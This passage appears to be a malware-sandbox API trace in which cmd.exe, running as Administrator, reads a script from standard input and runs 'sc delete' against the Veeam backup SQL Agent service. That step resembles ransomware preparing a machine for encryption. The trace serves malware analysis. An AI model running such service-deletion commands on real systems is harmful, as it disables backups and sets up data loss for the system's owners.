lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="M2012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="S012\"\n") returned 1 [0070.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="Q12\"\n") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="L2\"\n") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="2\"\n") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="0\n") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0070.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.270] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.270] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e362, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0070.270] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.270] GetFileType (hFile=0xb8) returned 0x3 [0070.270] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.270] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.270] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.270] GetFileType (hFile=0x120) returned 0x3 [0070.270] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$VEEAMSQL2012\"\n", lpUsedDefaultChar=0x0) returned 35 [0070.270] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x22, lpOverlapped=0x0) returned 1 [0070.270] GetProcessHeap () returned 0x4a0000 [0070.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0070.270] GetProcessHeap () returned 0x4a0000 [0070.270] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0070.270] GetProcessHeap () returned 0x4a0000 [0070.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0070.270] GetProcessHeap () returned 0x4a0000 [0070.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0070.270] GetProcessHeap () returned 0x4a0000 [0070.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x50) returned 0x4b97e0 [0070.270] GetConsoleOutputCP () returned 0x1b5 [0070.271] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.271] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.271] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.271] GetProcessHeap () returned 0x4a0000 [0070.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0070.271] GetProcessHeap () returned 0x4a0000 [0070.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x56) returned 0x4b9840 [0070.271] GetProcessHeap () returned 0x4a0000 [0070.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0070.271] SetErrorMode (uMode=0x0) returned 0x1 [0070.271] SetErrorMode (uMode=0x1) returned 0x0 [0070.271] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0070.271] SetErrorMode (uMode=0x1) returned 0x1 [0070.271] GetProcessHeap () returned 0x4a0000 [0070.271] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0070.271] GetProcessHeap () returned 0x4a0000 [0070.271] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0070.271] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0070.271] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0070.272] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0070.272] GetProcessHeap () returned 0x4a0000 [0070.272] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0070.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.272] GetLastError () returned 0x2 [0070.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.273] GetLastError () returned 0x2 [0070.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.273] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.273] GetLastError () returned 0x2 [0070.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.273] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.273] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.273] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.273] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.273] GetProcessHeap () returned 0x4a0000 [0070.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.273] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.286] GetProcessHeap () returned 0x4a0000 [0070.286] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xbc) returned 0x4b9180 [0070.287] GetProcessHeap () returned 0x4a0000 [0070.287] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xbc [0070.287] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$VEEAMSQL2012\"") returned 1 [0070.287] GetProcessHeap () returned 0x4a0000 [0070.287] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.287] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.287] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.287] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.287] GetProcessHeap () returned 0x4a0000 [0070.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.287] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.288] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.288] GetProcessHeap () returned 0x4a0000 [0070.288] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.288] GetProcessHeap () returned 0x4a0000 [0070.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.289] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$VEEAMSQL2012\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"SQLAgent$VEEAMSQL2012\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x570, dwThreadId=0x5a8)) returned 1 [0070.292] CloseHandle (hObject=0x54) returned 1 [0070.292] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.292] GetProcessHeap () returned 0x4a0000 [0070.292] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0070.292] GetEnvironmentStringsW () returned 0x4c1b10* [0070.292] GetProcessHeap () returned 0x4a0000 [0070.292] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.292] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.292] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.292] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.292] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0070.350] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.351] CloseHandle (hObject=0x50) returned 1 [0070.351] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.351] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.351] GetProcessHeap () returned 0x4a0000 [0070.351] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.351] GetEnvironmentStringsW () returned 0x4c1b10* [0070.351] GetProcessHeap () returned 0x4a0000 [0070.351] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.351] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.351] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.351] GetProcessHeap () returned 0x4a0000 [0070.351] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0070.351] GetEnvironmentStringsW () returned 0x4c1b10* [0070.352] GetProcessHeap () returned 0x4a0000 [0070.352] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0070.352] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.352] GetProcessHeap () returned 0x4a0000 [0070.352] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.352] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.352] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.352] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.352] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.352] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.352] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.353] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.353] GetConsoleOutputCP () returned 0x1b5 [0070.353] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.353] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9840 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.353] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0070.353] GetProcessHeap () returned 0x4a0000 [0070.354] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.354] GetProcessHeap () returned 0x4a0000 [0070.354] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.354] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.354] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.354] GetFileType (hFile=0x120) returned 0x3 [0070.354] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.354] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.354] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.354] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 